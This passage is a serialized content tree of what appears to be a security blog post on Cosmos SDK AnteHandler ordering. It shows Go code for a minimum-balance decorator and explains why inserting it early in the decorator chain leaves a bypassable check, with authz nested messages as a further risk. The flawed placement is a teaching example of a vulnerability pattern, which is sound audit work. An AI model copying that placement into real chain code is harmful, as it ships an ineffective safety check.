MIN_BALANCE",{"type":22,"tag":264,"props":79902,"children":79903},{"style":4309},[79904],{"type":27,"value":4312},{"type":22,"tag":264,"props":79906,"children":79907},{"style":4344},[79908],{"type":27,"value":20648},{"type":22,"tag":264,"props":79910,"children":79911},{"class":1534,"line":1560},[79912],{"type":22,"tag":264,"props":79913,"children":79914},{"style":1539},[79915],{"type":27,"value":4463},{"type":22,"tag":264,"props":79917,"children":79918},{"class":1534,"line":1569},[79919],{"type":22,"tag":264,"props":79920,"children":79921},{"emptyLinePlaceholder":17},[79922],{"type":27,"value":4986},{"type":22,"tag":264,"props":79924,"children":79925},{"class":1534,"line":1583},[79926,79930,79934,79939,79944,79948,79952],{"type":22,"tag":264,"props":79927,"children":79928},{"style":4293},[79929],{"type":27,"value":77626},{"type":22,"tag":264,"props":79931,"children":79932},{"style":1539},[79933],{"type":27,"value":4370},{"type":22,"tag":264,"props":79935,"children":79936},{"style":1549},[79937],{"type":27,"value":79938},"abd ",{"type":22,"tag":264,"props":79940,"children":79941},{"style":4722},[79942],{"type":27,"value":79943},"AccountBalanceDecorator",{"type":22,"tag":264,"props":79945,"children":79946},{"style":1539},[79947],{"type":27,"value":4390},{"type":22,"tag":264,"props":79949,"children":79950},{"style":4401},[79951],{"type":27,"value":79871},{"type":22,"tag":264,"props":79953,"children":79954},{"style":1539},[79955],{"type":27,"value":4767},{"type":22,"tag":264,"props":79957,"children":79958},{"class":1534,"line":1603},[79959,79963,79968,79972,79976],{"type":22,"tag":264,"props":79960,"children":79961},{"style":1549},[79962],{"type":27,"value":21530},{"type":22,"tag":264,"props":79964,"children":79965},{"style":4722},[79966],{"type":27,"value":79967}," sdk",{"type":22,"tag":264,"props":79969,"children":79970},{"style":1539},[79971],{"type":27,"value":210},{"type":22,"tag":264,"props":79973,"children":79974},{"style":4722},[79975],{"type":27,"value":77675},{"type":22,"tag":264,"props":79977,"children":79978},{"style":1539},[79979],{"type":27,"value":4812},{"type":22,"tag":264,"props":79981,"children":79982},{"class":1534,"line":1612},[79983,79988,79992,79996,80001],{"type":22,"tag":264,"props":79984,"children":79985},{"style":1549},[79986],{"type":27,"value":79987},"    tx",{"type":22,"tag":264,"props":79989,"children":79990},{"style":4722},[79991],{"type":27,"value":79967},{"type":22,"tag":264,"props":79993,"children":79994},{"style":1539},[79995],{"type":27,"value":210},{"type":22,"tag":264,"props":79997,"children":79998},{"style":4722},[79999],{"type":27,"value":80000},"Tx",{"type":22,"tag":264,"props":80002,"children":80003},{"style":1539},[80004],{"type":27,"value":4812},{"type":22,"tag":264,"props":80006,"children":80007},{"class":1534,"line":1621},[80008,80013,80017],{"type":22,"tag":264,"props":80009,"children":80010},{"style":1549},[80011],{"type":27,"value":80012},"    simulate",{"type":22,"tag":264,"props":80014,"children":80015},{"style":4722},[80016],{"type":27,"value":13349},{"type":22,"tag":264,"props":80018,"children":80019},{"style":1539},[80020],{"type":27,"value":4812},{"type":22,"tag":264,"props":80022,"children":80023},{"class":1534,"line":1629},[80024,80029,80033,80037,80041],{"type":22,"tag":264,"props":80025,"children":80026},{"style":1549},[80027],{"type":27,"value":80028},"    next",{"type":22,"tag":264,"props":80030,"children":80031},{"style":4722},[80032],{"type":27,"value":79967},{"type":22,"tag":264,"props":80034,"children":80035},{"style":1539},[80036],{"type":27,"value":210},{"type":22,"tag":264,"props":80038,"children":80039},{"style":4722},[80040],{"type":27,"value":79796},{"type":22,"tag":264,"props":80042,"children":80043},{"style":1539},[80044],{"type":27,"value":4812},{"type":22,"tag":264,"props":80046,"children":80047},{"class":1534,"line":1642},[80048,80052,80057,80061,80065,80069,80073],{"type":22,"tag":264,"props":80049,"children":80050},{"style":1539},[80051],{"type":27,"value":77708},{"type":22,"tag":264,"props":80053,"children":80054},{"style":4722},[80055],{"type":27,"value":80056},"sdk",{"type":22,"tag":264,"props":80058,"children":80059},{"style":1539},[80060],{"type":27,"value":210},{"type":22,"tag":264,"props":80062,"children":80063},{"style":4722},[80064],{"type":27,"value":77675},{"type":22,"tag":264,"props":80066,"children":80067},{"style":1539},[80068],{"type":27,"value":4380},{"type":22,"tag":264,"props":80070,"children":80071},{"style":4722},[80072],{"type":27,"value":16163},{"type":22,"tag":264,"props":80074,"children":80075},{"style":1539},[80076],{"type":27,"value":16103},{"type":22,"tag":264,"props":80078,"children":80079},{"class":1534,"line":1660},[80080,80085,80089,80094,80098,80102,80107,80112,80116,80121],{"type":22,"tag":264,"props":80081,"children":80082},{"style":1549},[80083],{"type":27,"value":80084},"    sigTx",{"type":22,"tag":264,"props":80086,"children":80087},{"style":1539},[80088],{"type":27,"value":4380},{"type":22,"tag":264,"props":80090,"children":80091},{"style":1549},[80092],{"type":27,"value":80093},"ok",{"type":22,"tag":264,"props":80095,"children":80096},{"style":4309},[80097],{"type":27,"value":77742},{"type":22,"tag":264,"props":80099,"children":80100},{"style":1549},[80101],{"type":27,"value":69351},{"type":22,"tag":264,"props":80103,"children":80104},{"style":1539},[80105],{"type":27,"value":80106},".(",{"type":22,"tag":264,"props":80108,"children":80109},{"style":4722},[80110],{"type":27,"value":80111},"authsigning",{"type":22,"tag":264,"props":80113,"children":80114},{"style":1539},[80115],{"type":27,"value":210},{"type":22,"tag":264,"props":80117,"children":80118},{"style":4722},[80119],{"type":27,"value":80120},"SigVerifiableTx",{"type":22,"tag":264,"props":80122,"children":80123},{"style":1539},[80124],{"type":27,"value":4463},{"type":22,"tag":264,"props":80126,"children":80127},{"class":1534,"line":1668},[80128,80132,80136,80140],{"type":22,"tag":264,"props":80129,"children":80130},{"style":4328},[80131],{"type":27,"value":13578},{"type":22,"tag":264,"props":80133,"children":80134},{"style":4309},[80135],{"type":27,"value":14162},{"type":22,"tag":264,"props":80137,"children":80138},{"style":1549},[80139],{"type":27,"value":80093},{"type":22,"tag":264,"props":80141,"children":80142},{"style":1539},[80143],{"type":27,"value":4594},{"type":22,"tag":264,"props":80145,"children":80146},{"class":1534,"line":1677},[80147,80151,80155,80159,80164,80168,80173],{"type":22,"tag":264,"props":80148,"children":80149},{"style":4328},[80150],{"type":27,"value":17044},{"type":22,"tag":264,"props":80152,"children":80153},{"style":1549},[80154],{"type":27,"value":27155},{"type":22,"tag":264,"props":80156,"children":80157},{"style":1539},[80158],{"type":27,"value":4380},{"type":22,"tag":264,"props":80160,"children":80161},{"style":1549},[80162],{"type":27,"value":80163},"errorsmod",{"type":22,"tag":264,"props":80165,"children":80166},{"style":1539},[80167],{"type":27,"value":210},{"type":22,"tag":264,"props":80169,"children":80170},{"style":4401},[80171],{"type":27,"value":80172},"Wrap",{"type":22,"tag":264,"props":80174,"children":80175},{"style":1539},[80176],{"type":27,"value":4767},{"type":22,"tag":264,"props":80178,"children":80179},{"class":1534,"line":1686},[80180,80185,80189,80194],{"type":22,"tag":264,"props":80181,"children":80182},{"style":1549},[80183],{"type":27,"value":80184},"            sdkerrors",{"type":22,"tag":264,"props":80186,"children":80187},{"style":1539},[80188],{"type":27,"value":210},{"type":22,"tag":264,"props":80190,"children":80191},{"style":1549},[80192],{"type":27,"value":80193},"ErrTxDecode",{"type":22,"tag":264,"props":80195,"children":80196},{"style":1539},[80197],{"type":27,"value":4812},{"type":22,"tag":264,"props":80199,"children":80200},{"class":1534,"line":4948},[80201,80206],{"type":22,"tag":264,"props":80202,"children":80203},{"style":1597},[80204],{"type":27,"value":80205},"            \"invalid tx type\"",{"type":22,"tag":264,"props":80207,"children":80208},{"style":1539},[80209],{"type":27,"value":4812},{"type":22,"tag":264,"props":80211,"children":80212},{"class":1534,"line":4957},[80213],{"type":22,"tag":264,"props":80214,"children":80215},{"style":1539},[80216],{"type":27,"value":69644},{"type":22,"tag":264,"props":80218,"children":80219},{"class":1534,"line":4980},[80220],{"type":22,"tag":264,"props":80221,"children":80222},{"style":1539},[80223],{"type":27,"value":1674},{"type":22,"tag":264,"props":80225,"children":80226},{"class":1534,"line":4989},[80227],{"type":22,"tag":264,"props":80228,"children":80229},{"emptyLinePlaceholder":17},[80230],{"type":27,"value":4986},{"type":22,"tag":264,"props":80232,"children":80233},{"class":1534,"line":4998},[80234,80239,80243,80248,80252,80257],{"type":22,"tag":264,"props":80235,"children":80236},{"style":1549},[80237],{"type":27,"value":80238},"    signers",{"type":22,"tag":264,"props":80240,"children":80241},{"style":4309},[80242],{"type":27,"value":77742},{"type":22,"tag":264,"props":80244,"children":80245},{"style":1549},[80246],{"type":27,"value":80247}," sigTx",{"type":22,"tag":264,"props":80249,"children":80250},{"style":1539},[80251],{"type":27,"value":210},{"type":22,"tag":264,"props":80253,"children":80254},{"style":4401},[80255],{"type":27,"value":80256},"GetSigners",{"type":22,"tag":264,"props":80258,"children":80259},{"style":1539},[80260],{"type":27,"value":9029},{"type":22,"tag":264,"props":80262,"children":80263},{"class":1534,"line":5067},[80264,80268,80272,80276,80280,80284,80288,80293],{"type":22,"tag":264,"props":80265,"children":80266},{"style":4328},[80267],{"type":27,"value":4331},{"type":22,"tag":264,"props":80269,"children":80270},{"style":1549},[80271],{"type":27,"value":4701},{"type":22,"tag":264,"props":80273,"children":80274},{"style":1539},[80275],{"type":27,"value":4380},{"type":22,"tag":264,"props":80277,"children":80278},{"style":1549},[80279],{"type":27,"value":8439},{"type":22,"tag":264,"props":80281,"children":80282},{"style":4309},[80283],{"type":27,"value":77742},{"type":22,"tag":264,"props":80285,"children":80286},{"style":4328},[80287],{"type":27,"value":78725},{"type":22,"tag":264,"props":80289,"children":80290},{"style":1549},[80291],{"type":27,"value":80292}," signers",{"type":22,"tag":264,"props":80294,"children":80295},{"style":1539},[80296],{"type":27,"value":4594},{"type":22,"tag":264,"props":80298,"children":80299},{"class":1534,"line":5075},[80300,80305,80309,80314,80318,80323,80327,80332,80336,80340,80344,80348,80352,80357],{"type":22,"tag":264,"props":80301,"children":80302},{"style":1549},[80303],{"type":27,"value":80304},"        balance",{"type":22,"tag":264,"props":80306,"children":80307},{"style":4309},[80308],{"type":27,"value":77742},{"type":22,"tag":264,"props":80310,"children":80311},{"style":1549},[80312],{"type":27,"value":80313}," abd",{"type":22,"tag":264,"props":80315,"children":80316},{"style":1539},[80317],{"type":27,"value":210},{"type":22,"tag":264,"props":80319,"children":80320},{"style":1549},[80321],{"type":27,"value":80322},"bk",{"type":22,"tag":264,"props":80324,"children":80325},{"style":1539},[80326],{"type":27,"value":210},{"type":22,"tag":264,"props":80328,"children":80329},{"style":4401},[80330],{"type":27,"value":80331},"getBalance",{"type":22,"tag":264,"props":80333,"children":80334},{"style":1539},[80335],{"type":27,"value":2660},{"type":22,"tag":264,"props":80337,"children":80338},{"style":1549},[80339],{"type":27,"value":21587},{"type":22,"tag":264,"props":80341,"children":80342},{"style":1539},[80343],{"type":27,"value":4380},{"type":22,"tag":264,"props":80345,"children":80346},{"style":1549},[80347],{"type":27,"value":8439},{"type":22,"tag":264,"props":80349,"children":80350},{"style":1539},[80351],{"type":27,"value":4380},{"type":22,"tag":264,"props":80353,"children":80354},{"style":1549},[80355],{"type":27,"value":80356},"ATOM",{"type":22,"tag":264,"props":80358,"children":80359},{"style":1539},[80360],{"type":27,"value":4463},{"type":22,"tag":264,"props":80362,"children":80363},{"class":1534,"line":5105},[80364,80368,80373,80377,80382,80386,80391],{"type":22,"tag":264,"props":80365,"children":80366},{"style":4328},[80367],{"type":27,"value":4575},{"type":22,"tag":264,"props":80369,"children":80370},{"style":1549},[80371],{"type":27,"value":80372}," balance",{"type":22,"tag":264,"props":80374,"children":80375},{"style":1539},[80376],{"type":27,"value":210},{"type":22,"tag":264,"props":80378,"children":80379},{"style":1549},[80380],{"type":27,"value":80381},"Amount",{"type":22,"tag":264,"props":80383,"children":80384},{"style":4309},[80385],{"type":27,"value":10014},{"type":22,"tag":264,"props":80387,"children":80388},{"style":1549},[80389],{"type":27,"value":80390}," MIN_BALANCE",{"type":22,"tag":264,"props":80392,"children":80393},{"style":1539},[80394],{"type":27,"value":4594},{"type":22,"tag":264,"props":80396,"children":80397},{"class":1534,"line":5113},[80398,80403,80407,80411,80415,80419,80423],{"type":22,"tag":264,"props":80399,"children":80400},{"style":4328},[80401],{"type":27,"value":80402},"            return",{"type":22,"tag":264,"props":80404,"children":80405},{"style":1549},[80406],{"type":27,"value":27155},{"type":22,"tag":264,"props":80408,"children":80409},{"style":1539},[80410],{"type":27,"value":4380},{"type":22,"tag":264,"props":80412,"children":80413},{"style":1549},[80414],{"type":27,"value":80163},{"type":22,"tag":264,"props":80416,"children":80417},{"style":1539},[80418],{"type":27,"value":210},{"type":22,"tag":264,"props":80420,"children":80421},{"style":4401},[80422],{"type":27,"value":80172},{"type":22,"tag":264,"props":80424,"children":80425},{"style":1539},[80426],{"type":27,"value":4767},{"type":22,"tag":264,"props":80428,"children":80429},{"class":1534,"line":5145},[80430,80435],{"type":22,"tag":264,"props":80431,"children":80432},{"style":1549},[80433],{"type":27,"value":80434},"                ErrInsufficientBalance",{"type":22,"tag":264,"props":80436,"children":80437},{"style":1539},[80438],{"type":27,"value":4812},{"type":22,"tag":264,"props":80440,"children":80441},{"class":1534,"line":5153},[80442,80447],{"type":22,"tag":264,"props":80443,"children":80444},{"style":1597},[80445],{"type":27,"value":80446},"                \"Insufficient Balance\"",{"type":22,"tag":264,"props":80448,"children":80449},{"style":1539},[80450],{"type":27,"value":4812},{"type":22,"tag":264,"props":80452,"children":80453},{"class":1534,"line":5213},[80454],{"type":22,"tag":264,"props":80455,"children":80456},{"style":1539},[80457],{"type":27,"value":78841},{"type":22,"tag":264,"props":80459,"children":80460},{"class":1534,"line":10343},[80461],{"type":22,"tag":264,"props":80462,"children":80463},{"style":1539},[80464],{"type":27,"value":4651},{"type":22,"tag":264,"props":80466,"children":80467},{"class":1534,"line":10361},[80468],{"type":22,"tag":264,"props":80469,"children":80470},{"style":1539},[80471],{"type":27,"value":1674},{"type":22,"tag":264,"props":80473,"children":80474},{"class":1534,"line":10406},[80475],{"type":22,"tag":264,"props":80476,"children":80477},{"emptyLinePlaceholder":17},[80478],{"type":27,"value":4986},{"type":22,"tag":264,"props":80480,"children":80481},{"class":1534,"line":10512},[80482,80486,80491,80495,80499,80503,80508,80512,80517],{"type":22,"tag":264,"props":80483,"children":80484},{"style":4328},[80485],{"type":27,"value":18291},{"type":22,"tag":264,"props":80487,"children":80488},{"style":4401},[80489],{"type":27,"value":80490}," next",{"type":22,"tag":264,"props":80492,"children":80493},{"style":1539},[80494],{"type":27,"value":2660},{"type":22,"tag":264,"props":80496,"children":80497},{"style":1549},[80498],{"type":27,"value":21587},{"type":22,"tag":264,"props":80500,"children":80501},{"style":1539},[80502],{"type":27,"value":4380},{"type":22,"tag":264,"props":80504,"children":80505},{"style":1549},[80506],{"type":27,"value":80507},"tx",{"type":22,"tag":264,"props":80509,"children":80510},{"style":1539},[80511],{"type":27,"value":4380},{"type":22,"tag":264,"props":80513,"children":80514},{"style":1549},[80515],{"type":27,"value":80516},"simulate",{"type":22,"tag":264,"props":80518,"children":80519},{"style":1539},[80520],{"type":27,"value":4463},{"type":22,"tag":264,"props":80522,"children":80523},{"class":1534,"line":24810},[80524],{"type":22,"tag":264,"props":80525,"children":80526},{"style":1539},[80527],{"type":27,"value":1692},{"type":22,"tag":23,"props":80529,"children":80530},{},[80531,80533,80538,80540,80546,80548,80554],{"type":27,"value":80532},"Where should this custom ",{"type":22,"tag":257,"props":80534,"children":80536},{"className":80535},[],[80537],{"type":27,"value":79796},{"type":27,"value":80539}," be placed relative to other ",{"type":22,"tag":257,"props":80541,"children":80543},{"className":80542},[],[80544],{"type":27,"value":80545},"AnteHandlers",{"type":27,"value":80547}," provided by cosmos-sdk?\nConsidering that we are only concerned with transactions that satisfy our check, inserting it right after the ",{"type":22,"tag":257,"props":80549,"children":80551},{"className":80550},[],[80552],{"type":27,"value":80553},"SetUpContextDecorator",{"type":27,"value":80555}," should work, right?",{"type":22,"tag":23,"props":80557,"children":80558},{},[80559],{"type":22,"tag":69,"props":80560,"children":80563},{"href":80561,"rel":80562},"https://github.com/cosmos/cosmos-sdk/blob/f0aec3f30dd952e1b4b3a5b25e0412c1af5baaac/x/auth/ante/ante.go#L41",[73],[80564],{"type":27,"value":78065},{"type":22,"tag":618,"props":80566,"children":80568},{"code":80567,"language":77490,"meta":7,"className":77491,"style":7},"anteDecorators := []sdk.AnteDecorator{\n    NewSetUpContextDecorator(), // outermost AnteDecorator. SetUpContext must be called first\n    // INSERT HERE\n    NewExtensionOptionsDecorator(options.ExtensionOptionChecker),\n    NewValidateBasicDecorator(),\n    NewTxTimeoutHeightDecorator(),\n    NewValidateMemoDecorator(options.AccountKeeper),\n    NewConsumeGasForTxSizeDecorator(options.AccountKeeper),\n    NewDeductFeeDecorator(options.AccountKeeper, options.BankKeeper, options.FeegrantKeeper, options.TxFeeChecker),\n    NewSetPubKeyDecorator(options.AccountKeeper), // SetPubKeyDecorator must be called before all signature verification decorators\n    NewValidateSigCountDecorator(options.AccountKeeper),\n    NewSigGasConsumeDecorator(options.AccountKeeper, options.SigGasConsumer),\n    NewSigVerificationDecorator(options.AccountKeeper, options.SignModeHandler),\n    NewIncrementSequenceDecorator(options.AccountKeeper),\n}\n",[80569],{"type":22,"tag":257,"props":80570,"children":80571},{"__ignoreMap":7},[80572,80605,80622,80630,80659,80671,80683,80712,80740,80819,80852,80880,80925,80970,80998],{"type":22,"tag":264,"props":80573,"children":80574},{"class":1534,"line":1535},[80575,80580,80584,80588,80592,80596,80601],{"type":22,"tag":264,"props":80576,"children":80577},{"style":1549},[80578],{"type":27,"value":80579},"anteDecorators",{"type":22,"tag":264,"props":80581,"children":80582},{"style":4309},[80583],{"type":27,"value":77742},{"type":22,"tag":264,"props":80585,"children":80586},{"style":1539},[80587],{"type":27,"value":77553},{"type":22,"tag":264,"props":80589,"children":80590},{"style":4722},[80591],{"type":27,"value":80056},{"type":22,"tag":264,"props":80593,"children":80594},{"style":1539},[80595],{"type":27,"value":210},{"type":22,"tag":264,"props":80597,"children":80598},{"style":4722},[80599],{"type":27,"value":80600},"AnteDecorator",{"type":22,"tag":264,"props":80602,"children":80603},{"style":1539},[80604],{"type":27,"value":1542},{"type":22,"tag":264,"props":80606,"children":80607},{"class":1534,"line":1545},[80608,80613,80617],{"type":22,"tag":264,"props":80609,"children":80610},{"style":4401},[80611],{"type":27,"value":80612},"    NewSetUpContextDecorator",{"type":22,"tag":264,"props":80614,"children":80615},{"style":1539},[80616],{"type":27,"value":19678},{"type":22,"tag":264,"props":80618,"children":80619},{"style":4284},[80620],{"type":27,"value":80621},"// outermost AnteDecorator. SetUpContext must be called first\n",{"type":22,"tag":264,"props":80623,"children":80624},{"class":1534,"line":1560},[80625],{"type":22,"tag":264,"props":80626,"children":80627},{"style":4284},[80628],{"type":27,"value":80629},"    // INSERT HERE\n",{"type":22,"tag":264,"props":80631,"children":80632},{"class":1534,"line":1569},[80633,80638,80642,80646,80650,80655],{"type":22,"tag":264,"props":80634,"children":80635},{"style":4401},[80636],{"type":27,"value":80637},"    NewExtensionOptionsDecorator",{"type":22,"tag":264,"props":80639,"children":80640},{"style":1539},[80641],{"type":27,"value":2660},{"type":22,"tag":264,"props":80643,"children":80644},{"style":1549},[80645],{"type":27,"value":37353},{"type":22,"tag":264,"props":80647,"children":80648},{"style":1539},[80649],{"type":27,"value":210},{"type":22,"tag":264,"props":80651,"children":80652},{"style":1549},[80653],{"type":27,"value":80654},"ExtensionOptionChecker",{"type":22,"tag":264,"props":80656,"children":80657},{"style":1539},[80658],{"type":27,"value":8029},{"type":22,"tag":264,"props":80660,"children":80661},{"class":1534,"line":1583},[80662,80667],{"type":22,"tag":264,"props":80663,"children":80664},{"style":4401},[80665],{"type":27,"value":80666},"    NewValidateBasicDecorator",{"type":22,"tag":264,"props":80668,"children":80669},{"style":1539},[80670],{"type":27,"value":4795},{"type":22,"tag":264,"props":80672,"children":80673},{"class":1534,"line":1603},[80674,80679],{"type":22,"tag":264,"props":80675,"children":80676},{"style":4401},[80677],{"type":27,"value":80678},"    NewTxTimeoutHeightDecorator",{"type":22,"tag":264,"props":80680,"children":80681},{"style":1539},[80682],{"type":27,"value":4795},{"type":22,"tag":264,"props":80684,"children":80685},{"class":1534,"line":1612},[80686,80691,80695,80699,80703,80708],{"type":22,"tag":264,"props":80687,"children":80688},{"style":4401},[80689],{"type":27,"value":80690},"    NewValidateMemoDecorator",{"type":22,"tag":264,"props":80692,"children":80693},{"style":1539},[80694],{"type":27,"value":2660},{"type":22,"tag":264,"props":80696,"children":80697},{"style":1549},[80698],{"type":27,"value":37353},{"type":22,"tag":264,"props":80700,"children":80701},{"style":1539},[80702],{"type":27,"value":210},{"type":22,"tag":264,"props":80704,"children":80705},{"style":1549},[80706],{"type":27,"value":80707},"AccountKeeper",{"type":22,"tag":264,"props":80709,"children":80710},{"style":1539},[80711],{"type":27,"value":8029},{"type":22,"tag":264,"props":80713,"children":80714},{"class":1534,"line":1621},[80715,80720,80724,80728,80732,80736],{"type":22,"tag":264,"props":80716,"children":80717},{"style":4401},[80718],{"type":27,"value":80719},"    NewConsumeGasForTxSizeDecorator",{"type":22,"tag":264,"props":80721,"children":80722},{"style":1539},[80723],{"type":27,"value":2660},{"type":22,"tag":264,"props":80725,"children":80726},{"style":1549},[80727],{"type":27,"value":37353},{"type":22,"tag":264,"props":80729,"children":80730},{"style":1539},[80731],{"type":27,"value":210},{"type":22,"tag":264,"props":80733,"children":80734},{"style":1549},[80735],{"type":27,"value":80707},{"type":22,"tag":264,"props":80737,"children":80738},{"style":1539},[80739],{"type":27,"value":8029},{"type":22,"tag":264,"props":80741,"children":80742},{"class":1534,"line":1629},[80743,80748,80752,80756,80760,80764,80768,80772,80776,80781,80785,80789,80793,80798,80802,80806,80810,80815],{"type":22,"tag":264,"props":80744,"children":80745},{"style":4401},[80746],{"type":27,"value":80747},"    NewDeductFeeDecorator",{"type":22,"tag":264,"props":80749,"children":80750},{"style":1539},[80751],{"type":27,"value":2660},{"type":22,"tag":264,"props":80753,"children":80754},{"style":1549},[80755],{"type":27,"value":37353},{"type":22,"tag":264,"props":80757,"children":80758},{"style":1539},[80759],{"type":27,"value":210},{"type":22,"tag":264,"props":80761,"children":80762},{"style":1549},[80763],{"type":27,"value":80707},{"type":22,"tag":264,"props":80765,"children":80766},{"style":1539},[80767],{"type":27,"value":4380},{"type":22,"tag":264,"props":80769,"children":80770},{"style":1549},[80771],{"type":27,"value":37353},{"type":22,"tag":264,"props":80773,"children":80774},{"style":1539},[80775],{"type":27,"value":210},{"type":22,"tag":264,"props":80777,"children":80778},{"style":1549},[80779],{"type":27,"value":80780},"BankKeeper",{"type":22,"tag":264,"props":80782,"children":80783},{"style":1539},[80784],{"type":27,"value":4380},{"type":22,"tag":264,"props":80786,"children":80787},{"style":1549},[80788],{"type":27,"value":37353},{"type":22,"tag":264,"props":80790,"children":80791},{"style":1539},[80792],{"type":27,"value":210},{"type":22,"tag":264,"props":80794,"children":80795},{"style":1549},[80796],{"type":27,"value":80797},"FeegrantKeeper",{"type":22,"tag":264,"props":80799,"children":80800},{"style":1539},[80801],{"type":27,"value":4380},{"type":22,"tag":264,"props":80803,"children":80804},{"style":1549},[80805],{"type":27,"value":37353},{"type":22,"tag":264,"props":80807,"children":80808},{"style":1539},[80809],{"type":27,"value":210},{"type":22,"tag":264,"props":80811,"children":80812},{"style":1549},[80813],{"type":27,"value":80814},"TxFeeChecker",{"type":22,"tag":264,"props":80816,"children":80817},{"style":1539},[80818],{"type":27,"value":8029},{"type":22,"tag":264,"props":80820,"children":80821},{"class":1534,"line":1642},[80822,80827,80831,80835,80839,80843,80847],{"type":22,"tag":264,"props":80823,"children":80824},{"style":4401},[80825],{"type":27,"value":80826},"    NewSetPubKeyDecorator",{"type":22,"tag":264,"props":80828,"children":80829},{"style":1539},[80830],{"type":27,"value":2660},{"type":22,"tag":264,"props":80832,"children":80833},{"style":1549},[80834],{"type":27,"value":37353},{"type":22,"tag":264,"props":80836,"children":80837},{"style":1539},[80838],{"type":27,"value":210},{"type":22,"tag":264,"props":80840,"children":80841},{"style":1549},[80842],{"type":27,"value":80707},{"type":22,"tag":264,"props":80844,"children":80845},{"style":1539},[80846],{"type":27,"value":16477},{"type":22,"tag":264,"props":80848,"children":80849},{"style":4284},[80850],{"type":27,"value":80851},"// SetPubKeyDecorator must be called before all signature verification decorators\n",{"type":22,"tag":264,"props":80853,"children":80854},{"class":1534,"line":1660},[80855,80860,80864,80868,80872,80876],{"type":22,"tag":264,"props":80856,"children":80857},{"style":4401},[80858],{"type":27,"value":80859},"    NewValidateSigCountDecorator",{"type":22,"tag":264,"props":80861,"children":80862},{"style":1539},[80863],{"type":27,"value":2660},{"type":22,"tag":264,"props":80865,"children":80866},{"style":1549},[80867],{"type":27,"value":37353},{"type":22,"tag":264,"props":80869,"children":80870},{"style":1539},[80871],{"type":27,"value":210},{"type":22,"tag":264,"props":80873,"children":80874},{"style":1549},[80875],{"type":27,"value":80707},{"type":22,"tag":264,"props":80877,"children":80878},{"style":1539},[80879],{"type":27,"value":8029},{"type":22,"tag":264,"props":80881,"children":80882},{"class":1534,"line":1668},[80883,80888,80892,80896,80900,80904,80908,80912,80916,80921],{"type":22,"tag":264,"props":80884,"children":80885},{"style":4401},[80886],{"type":27,"value":80887},"    NewSigGasConsumeDecorator",{"type":22,"tag":264,"props":80889,"children":80890},{"style":1539},[80891],{"type":27,"value":2660},{"type":22,"tag":264,"props":80893,"children":80894},{"style":1549},[80895],{"type":27,"value":37353},{"type":22,"tag":264,"props":80897,"children":80898},{"style":1539},[80899],{"type":27,"value":210},{"type":22,"tag":264,"props":80901,"children":80902},{"style":1549},[80903],{"type":27,"value":80707},{"type":22,"tag":264,"props":80905,"children":80906},{"style":1539},[80907],{"type":27,"value":4380},{"type":22,"tag":264,"props":80909,"children":80910},{"style":1549},[80911],{"type":27,"value":37353},{"type":22,"tag":264,"props":80913,"children":80914},{"style":1539},[80915],{"type":27,"value":210},{"type":22,"tag":264,"props":80917,"children":80918},{"style":1549},[80919],{"type":27,"value":80920},"SigGasConsumer",{"type":22,"tag":264,"props":80922,"children":80923},{"style":1539},[80924],{"type":27,"value":8029},{"type":22,"tag":264,"props":80926,"children":80927},{"class":1534,"line":1677},[80928,80933,80937,80941,80945,80949,80953,80957,80961,80966],{"type":22,"tag":264,"props":80929,"children":80930},{"style":4401},[80931],{"type":27,"value":80932},"    NewSigVerificationDecorator",{"type":22,"tag":264,"props":80934,"children":80935},{"style":1539},[80936],{"type":27,"value":2660},{"type":22,"tag":264,"props":80938,"children":80939},{"style":1549},[80940],{"type":27,"value":37353},{"type":22,"tag":264,"props":80942,"children":80943},{"style":1539},[80944],{"type":27,"value":210},{"type":22,"tag":264,"props":80946,"children":80947},{"style":1549},[80948],{"type":27,"value":80707},{"type":22,"tag":264,"props":80950,"children":80951},{"style":1539},[80952],{"type":27,"value":4380},{"type":22,"tag":264,"props":80954,"children":80955},{"style":1549},[80956],{"type":27,"value":37353},{"type":22,"tag":264,"props":80958,"children":80959},{"style":1539},[80960],{"type":27,"value":210},{"type":22,"tag":264,"props":80962,"children":80963},{"style":1549},[80964],{"type":27,"value":80965},"SignModeHandler",{"type":22,"tag":264,"props":80967,"children":80968},{"style":1539},[80969],{"type":27,"value":8029},{"type":22,"tag":264,"props":80971,"children":80972},{"class":1534,"line":1686},[80973,80978,80982,80986,80990,80994],{"type":22,"tag":264,"props":80974,"children":80975},{"style":4401},[80976],{"type":27,"value":80977},"    NewIncrementSequenceDecorator",{"type":22,"tag":264,"props":80979,"children":80980},{"style":1539},[80981],{"type":27,"value":2660},{"type":22,"tag":264,"props":80983,"children":80984},{"style":1549},[80985],{"type":27,"value":37353},{"type":22,"tag":264,"props":80987,"children":80988},{"style":1539},[80989],{"type":27,"value":210},{"type":22,"tag":264,"props":80991,"children":80992},{"style":1549},[80993],{"type":27,"value":80707},{"type":22,"tag":264,"props":80995,"children":80996},{"style":1539},[80997],{"type":27,"value":8029},{"type":22,"tag":264,"props":80999,"children":81000},{"class":1534,"line":4948},[81001],{"type":22,"tag":264,"props":81002,"children":81003},{"style":1539},[81004],{"type":27,"value":1692},{"type":22,"tag":23,"props":81006,"children":81007},{},[81008,81010,81015,81017,81023,81024,81030],{"type":27,"value":81009},"Unfortunately, that order wouldn't work. This is because there are other ",{"type":22,"tag":257,"props":81011,"children":81013},{"className":81012},[],[81014],{"type":27,"value":80545},{"type":27,"value":81016},", such as ",{"type":22,"tag":257,"props":81018,"children":81020},{"className":81019},[],[81021],{"type":27,"value":81022},"SigGasConsumeDecorator",{"type":27,"value":12290},{"type":22,"tag":257,"props":81025,"children":81027},{"className":81026},[],[81028],{"type":27,"value":81029},"ConsumeGasForTxSizeDecorator",{"type":27,"value":81031},", that modify account balances. By placing our decorator at the very start of the chain, we might pass the check and later have the signers' balances deducted before reaching the end of the decorator chain and starting transaction execution. Consequently, the invariance we intended to ensure may no longer hold, rendering our check useless.",{"type":22,"tag":23,"props":81033,"children":81034},{},[81035,81037,81043,81045,81050],{"type":27,"value":81036},"The easiest \"mitigation\" is to move our decorator down into the chain list. We say this lightly because it's important to consider various factors such as whether nested ",{"type":22,"tag":257,"props":81038,"children":81040},{"className":81039},[],[81041],{"type":27,"value":81042},"msgs",{"type":27,"value":81044}," are allowed (e.g. the authz module is present), as this precaution alone might not be enough to fully resolve the issue. Without a comprehensive understanding of the entire system, there is a risk that mistakes will still be made in the ",{"type":22,"tag":257,"props":81046,"children":81048},{"className":81047},[],[81049],{"type":27,"value":79871},{"type":27,"value":81051}," 